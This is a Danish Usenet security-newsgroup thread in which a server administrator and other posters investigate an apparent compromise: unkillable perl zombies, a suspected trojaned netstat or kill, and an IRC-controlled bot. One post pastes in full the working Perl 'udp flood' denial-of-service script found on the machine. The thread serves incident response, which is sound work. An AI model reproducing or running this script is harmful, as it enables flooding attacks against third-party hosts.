Ja, forhåbentlig kan man finde ud af, hvordan de kom ind.

Men hvis ikke man kan finde ud af det, så kan det jo være
man opdager det når maskinen bliver sat på nettet igen. :-/
Hvilket var en del af årsagen til min bemærkning om at være
ekstra opmærksom på maskinen i fremtiden.

Jeg ved ikke om det er realistisk at smide en hub foran
maskinen og så have en anden maskine til at dumpe trafikken
til en fil.

--
Kasper Dupont -- der bruger for meget tid på usenet.
Note to self: Don't try to allocate 256000 pages
with GFP_KERNEL on x86.

---

Kasper Dupont wrote:
> Ja, forhåbentlig kan man finde ud af, hvordan de kom ind.
>
> Men hvis ikke man kan finde ud af det, så kan det jo være
> man opdager det når maskinen bliver sat på nettet igen. :-/
> Hvilket var en del af årsagen til min bemærkning om at være
> ekstra opmærksom på maskinen i fremtiden.
>
> Jeg ved ikke om det er realistisk at smide en hub foran
> maskinen og så have en anden maskine til at dumpe trafikken
> til en fil.
>
Lettere urealistisk at dumpe til en fil... Der kommer pt i dump fra
ethereal, hvad der svare til omkring 1-2Gb dump i løbet af 20 min, så
med mindre jeg lige finder nogle store diske, så kommer det ikke til at
ske mere end en gang imellem...

Men nu har jeg fundet ud af at de åbenbart bruger noget IRC til at
kommunikere igennem til maskinen, men jeg er ikke inde i, hvordan IRC
fungere, så ved ikke helt, hvordan det er de gør, men det bliver startet
fra IRC ligner det...

Lige nu køre jeg log på al trafikken for at overvåge og måske finde ud
af, hvordan det er de kommer ind... kunne være lækkert at vide.

--
Med venlig hilsen
René Madsen
Schultz Consult

---

Den Thu, 21 Jul 2005 10:29:53 +0200 skrev Schultz Consult - [René Madsen]:
> Kasper Dupont wrote:
>> Ja, forhåbentlig kan man finde ud af, hvordan de kom ind.
>>
>> Men hvis ikke man kan finde ud af det, så kan det jo være
>> man opdager det når maskinen bliver sat på nettet igen. :-/
>> Hvilket var en del af årsagen til min bemærkning om at være
>> ekstra opmærksom på maskinen i fremtiden.
>>
>> Jeg ved ikke om det er realistisk at smide en hub foran
>> maskinen og så have en anden maskine til at dumpe trafikken
>> til en fil.
>>
> Lettere urealistisk at dumpe til en fil... Der kommer pt i dump fra
> ethereal, hvad der svare til omkring 1-2Gb dump i løbet af 20 min, så
> med mindre jeg lige finder nogle store diske, så kommer det ikke til at
> ske mere end en gang imellem...
>
> Men nu har jeg fundet ud af at de åbenbart bruger noget IRC til at
> kommunikere igennem til maskinen, men jeg er ikke inde i, hvordan IRC
> fungere, så ved ikke helt, hvordan det er de gør, men det bliver startet
> fra IRC ligner det...

De bruger bare IRC til at fjernstyre bot'en, det er (sandsynligvis) ikke
sådan de er kommet ind. IRC er en chat-protokol, og bot'en logger på
en offentlig tilgængelig server, som intet har at gøre med dem der
har "pwned" din maskine. Når de så vil bruge din maskine - og et par
hundrede andre - logger de selv ind på samme IRC-kanal, og giver
kommandoer. Og logger af igen inden nogen opdager hvem de er.

> Lige nu køre jeg log på al trafikken for at overvåge og måske finde ud
> af, hvordan det er de kommer ind... kunne være lækkert at vide.

Du skal være både heldig og dygtig hvis du skal finde noget den vej.

Mvh
Kent
--
Hard work may pay off in the long run, but lazyness pays off right now.

---

In <dbjhck$ret$1@news.net.uni-c.dk> =?ISO-8859-1?Q?=22Schultz_Consult_=5BRen=E9_Madsen=5D=22?= <reneREMOVE@schultzconsult.dk> writes:

>Jørn Hundebøll wrote:
>> Det lyder lidt som om at din maskine er hacket - og der er lagt en
>> udgave af netstat på maskinen som fjerner programmet der laver
>> trafikken. Alternativt er det din webserver - fra din ps virkede det som
>> om den havde travlt. Hvis du lukker webserveren ned - forsvinder
>> trafikken så ? Du kan også prøve at lukke ssh og ftp ned og se om det
>> ændre noget ved trafikken.
>>
>> DU må endelig love at holde gruppen her informeret.

>Skal jeg gøre

>Du tænker på:
>www 92198 36.8 0.0 0 0 ?? Z 6:26PM 0:00.00 (perl)
>www 92197 37.0 0.0 0 0 ?? Z 6:26PM 0:00.00 (perl)

>?

>Det sjove er at man kan ikke dræbe processerne.
>kill -9 92198 92197
>giver bare "no surch proces"

Hvis der virkelig staar "no surch proces", saa har en cracker lagt en anden
kill ind paa dit system og du skal geninstallerer hele systemet, da du ikke
kan stole paa nogle programmer paa maskiner.

/Martin

---

Jørn Hundebøll wrote:
> Det lyder lidt som om at din maskine er hacket - og der er lagt en
> udgave af netstat på maskinen som fjerner programmet der laver
> trafikken. Alternativt er det din webserver - fra din ps virkede det som
> om den havde travlt. Hvis du lukker webserveren ned - forsvinder
> trafikken så ? Du kan også prøve at lukke ssh og ftp ned og se om det
> ændre noget ved trafikken.
>
> DU må endelig love at holde gruppen her informeret.
>
> Jørn

Nu har jeg prøvet med en porupgrade -ra og apache er nu gået fra
apache-2.0.49_1 til apache-2.0.49_2, måske det kan afhjælpe problemet...

--
Med venlig hilsen
René Madsen
Schultz Consult

---

Schultz Consult - [René Madsen] wrote:
> Jørn Hundebøll wrote:
>
>> Det lyder lidt som om at din maskine er hacket - og der er lagt en
>> udgave af netstat på maskinen som fjerner programmet der laver
>> trafikken. Alternativt er det din webserver - fra din ps virkede det
>> som om den havde travlt. Hvis du lukker webserveren ned - forsvinder
>> trafikken så ? Du kan også prøve at lukke ssh og ftp ned og se om det
>> ændre noget ved trafikken.
>>
>> DU må endelig love at holde gruppen her informeret.
>>
>> Jørn
>
>
> Nu har jeg prøvet med en porupgrade -ra og apache er nu gået fra
> apache-2.0.49_1 til apache-2.0.49_2, måske det kan afhjælpe problemet...
>

Men slap du af med de to zombier og er nettrafikken stoppet og fandt du
ud af om nogen/noget havde ændret din netstat ? Du risikere jo blot at
trafikken starter igen, hvis dit system er inficeret.

Jørn

---

Jørn Hundebøll wrote:
> Men slap du af med de to zombier og er nettrafikken stoppet og fandt du
> ud af om nogen/noget havde ændret din netstat ? Du risikere jo blot at
> trafikken starter igen, hvis dit system er inficeret.

Ikke netstat, men når den her fil bliver kørt sker der noget:

#!/usr/bin/perl
#####################################################
# udp flood.
#
# gr33ts: meth, etech, skrilla, datawar, fr3aky, etc.
#
# --/odix
######################################################

use Socket;

$ARGC=@ARGV;

if ($ARGC !=3) {
printf "$0 <ip> <port> <time>\n";
printf "if arg1/2 =0, randports/continous packets.\n";
exit(1);
}

my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[1];
$time=$ARGV[2];

socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");

printf "udp flood - odix\n";

if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto randpackets;
}

packets:
for (;;) {
$size=$rand x $rand x $rand;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

randpackets:
for (;;) {
$size=$rand x $rand x $rand;
$port=int(rand 65000) +1;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

Har fundet det på nettet også... En ting er, hvad det kan noget andet
er, hvordan er det kommet der ind i første omgang...

Det bliver brugt i sammenhæng med at teste for en given fejl og så også
for at lave DoS attacks på en given host...

--
Med venlig hilsen
René Madsen
Schultz Consult

---

Schultz Consult [René Madsen] wrote:
> Nej, det er netop her mit problem ligger... der er ikke noget i
> netstat -na som kommunikere på den port...

Kopier kernen og din netstat binary til et andet system og se om deres
checksum passer med de checksums der er registeret på knowngoods.org

--
I prefer the dark of the night, after midnight and before four-thirty,
when it's more bare, more hollow. http://a.mongers.org

OSS/FAQ for dk.edb.sikkerhed: http://sikkerhed-faq.dk